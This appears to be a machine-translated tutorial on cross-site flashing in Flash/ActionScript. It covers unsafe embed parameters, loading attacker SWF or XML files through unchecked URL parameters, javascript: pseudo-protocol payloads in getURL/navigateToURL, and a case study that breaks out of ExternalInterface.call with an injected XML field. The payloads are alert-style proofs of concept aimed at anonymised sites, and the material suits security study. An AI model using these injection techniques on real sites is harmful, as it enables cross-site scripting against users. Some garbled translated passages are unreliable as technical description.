1. introduction to XSF
Cross site flash (XsF) is also called cross site flash (XsF) problem. It is mainly generated by using ActionScript script. There are two ways: loading third-party resources and communicating with JavaScript.
OWASP gives the following unsafe ActionScript functions (as shown in Figure 1). If the control is not good, it is easy to generate security problems.
Figure 1 ActionScript function
The previous functions mainly record third-party resources, which are often used when HTML pages are embedded in flash. When html is embedded in flash, there are several security related parameters that need to be explained. This is very important for flash security issues, which can be observed in HTML using firebug.
A. allowNetworking
This parameter controls the network access behavior of flash. There are three values to choose from: all (the default value, all APIs can directly access the network), internal (except for the APIs that cannot use browser navigation and browser interaction, such as navigatetourl, fscommand, externalinterface.call, etc., which are available), none (all APIs are not allowed).
B. allowScriptAccess
This is the security mechanism involved in the communication with JavaScript. In AS3, it is mainly the externalinterface object, which has three values: never (no JavaScript communication operation), samedomain (JavaScript communication between LANs), always (allowing all domains to communicate, dangerous configuration).
C. allowFullScreen
Full screen mode. The value is Boolean. The default value is false. It is not allowed. This can be used in interface hijacking.
2. Brief analysis
2.1 loading third party resources
This is easy to find. If we access a flash file separately, we can judge that the flash has loaded other resources when we access other flash resources or XML resources in firebug. However, we need to continue to analyze whether this resource can be used by us. During the test, we should pay attention to adding the crossdomain.xml file in the local domain.
2.1.1 loading swf files
In as2, parameters such as loadmovie can load third-party files, such as: loadmovie (_root. URL)
Visit: http://www.normal.com/load.swf? Url = http://other.com/xss.swf
In AS3, this function has been removed and loader is used for external data processing.
varparam:Object = root.loaderInfo.parameters;
varurl:String = param["url"];
varloader:URLLoader = new URLLoader(new URLRequest(url));
loader.load(url)
Use the link: http://www.normal.com/load.swf? Url = http://other.com/xss.swf
Therefore, in Decompilation, these functions can be found for checking. If the parameters of the call are controllable, XSS problems may occur. However, this trigger needs to be more difficult. Because of the protection of flash sandbox, direct use of address does not cause danger. This needs to be done with HTML embedded flash, so we need to use the cooperation of reflection XSS or domxss, and the cooperation of the three parameters mentioned above, which is difficult to use.
For example:
Visit http://xxxxx.com/bin/mainusercenter.swf to discover network access under firebug:
Figure 2 SWF loading SWF and XML resources
When other resources are loaded, the problem of XML will not be considered at this time, which will be discussed later. Decompilation of the flash file found:
Figure 3 flash decompile code
It is found that the search parameters.sub'url is uninitialized and load is used. Build a flash with XSS problem and put it in the local domain, as shown in Figure 4:
Figure 4 local swf
As with the problem code above, you can use the link:
http://xxxxx.com/bin/mainUsercenter.swf?sub_url=http://127.0.0.1/flash/xss/xss.swf
To load our own SWF resources, after accessing, we can see that the local SWF is also requested by get when accessing the problem SWF.
Figure 5 SWF resource call
The test found that: we did visit our own SWF, but there was no pop-up box. However, when intercepting data packets, we can find that the local reference value of get request is the domain of problem SWF, so we can break the reference limit to trigger CSRF. Let's try it.
As for why there is no trigger, we need to study the safe sandbox of flash, which is not mentioned here. In fact, if you want to trigger XSS, you can use reflection XSS or domxss to modify the SWF link embedded in HTML itself. Here is a test. Write an HTML page:
The key codes are:
Figure 6 local test HTML
Access the locally constructed HTML and the problematic SWF:
Figure 7 local HTML test
The passed resource SWF is modified to the local SWF file, which is triggered successfully after calling:
Figure 8 trigger XSS
It's really difficult to use this, but for some rich text input places, such as mailbox source state or forum source state, adding this code to the source code will cause great danger if there is no security configuration for the three parameters in the security configuration.
2.1.2 loading xml resources
This is dangerous, easy and easy to trigger XSS problem. At the bottom of Figure 2, you can see that the SWF invokes XML resources. Unfortunately, the XML resources called by the test flash are deleted by the website and the exact format of XML cannot be known. In fact, to get the exact format of XML, this organization creates a new XML for flash to call, and click the corresponding place as long as there is a jump or the like can be triggered.
Suppose an XML resource is:
Figure 9 XML resources
Simply modify the value of herf, such as modifying to pseudo protocol: javascript: Alert (/ flash_xss /), use flash to load the XML and click the corresponding image location to trigger directly.
2.2 communication with JavaScript
2.2.1 geturl and navigatetourl ()
Geturl and navigatetourl () are used under as2.0 and AS3.0 respectively. It is quite convenient to use these two functions to trigger XSS, for example:
getURL(“javascript:alert(1)”)
navigateToURl(newURLRequest(‘javascript:alert(1)’),”_self”)
In the XSS mining, find these two methods in the source code, and observe the loading parameters in a controllable way. For example, in as2.0, it is ﹤ root.para. If it is not initialized, it will be directly brought into the geturl, which may lead to cross site problems. In AS3.0, controllable parameters are generally accepted by loaderinfo.parameters. If the parameter value is not initialized, there may be problems. However, in most cases, you need to trace and find whether these parameters are initialized among different function calls.
2.2.2 ExternalInterface
Both as2 and As3 have this interface, which is specially prepared for flash and JavaScript communication. For this, we mainly focus on the call of externalinterface. Call(). The general form of this as code is as follows:
ExternalInterface.call(‘alert’,’userinput’);
When the browser accesses the flash file, a corresponding JavaScript code will be generated in the browser:
try{_flash_toXML(alert(“userinput”));}catch(e){“<undefined/>”;}
If the second parameter of the call is controllable, it will obviously trigger the cross station problem. It should be noted that in the case of "input", it will escape to ". If" input ", it will escape to" to close the JavaScript code generated in the browser.
3. Specific cases
Here's an example for a simple explanation, which combines a cross site vulnerability triggered by referencing external XML resources and communicating with JavaScript.
First look at the code that caused the problem:
Figure 10 SWF part code
It's easy to see which parameter loads the external XML, but you need to trace the loadxml method. It is found that xmlurl is user controllable:
Figure 11 SWF part code
What we need now is to see what the content of XML is. The address of XML is given in the code. Visit http://xxxx.com/xml/config.xml. Part of the content of XML is:
Figure 12 part of XML code
If you see these words, there is no URL call, and you can't change the pseudo address for testing. However, when you look at the as code, there is the use of externalinterface.call. The tracking code finds that:
Figure 13 SWF part code
Among them, externalinterface.call loads the data in flashcalljs in XML, and the JS code generated by accessing in browser is to determine whether to log in:
try{_flash_toXML(isLogin());}catch(e){“<undefined/>”;}
Since the external XML can be loaded, directly rewrite the data in flashcalljs as follows:
<flashCallJs>isLogin()}catch(e){alert(/flash_xss/)};//</flashCallJs>
The generated JS code is:
try{_flash_toXML(isLogin())}catch(e){alert(/flash_xss/)};//);}catch(e){“<undefined/>”;}
Since there is no call to islogin(), the XSS is successfully triggered by turning to catch (E).
4. summary
In the development process of flash, few people will notice the security of flash. In addition to the XSS problem caused by flash, the CSRF problem caused by flash, the code is very simple and easy to use. The important thing is that the concealment is better, and there are some problems in the flash game.
reference:
1. Zhong Chenming, Xu Shaopei: Secrets of Web front-end hacker technology
2、https://www.owasp.org/index.php/Testing_for_Cross_site_flashing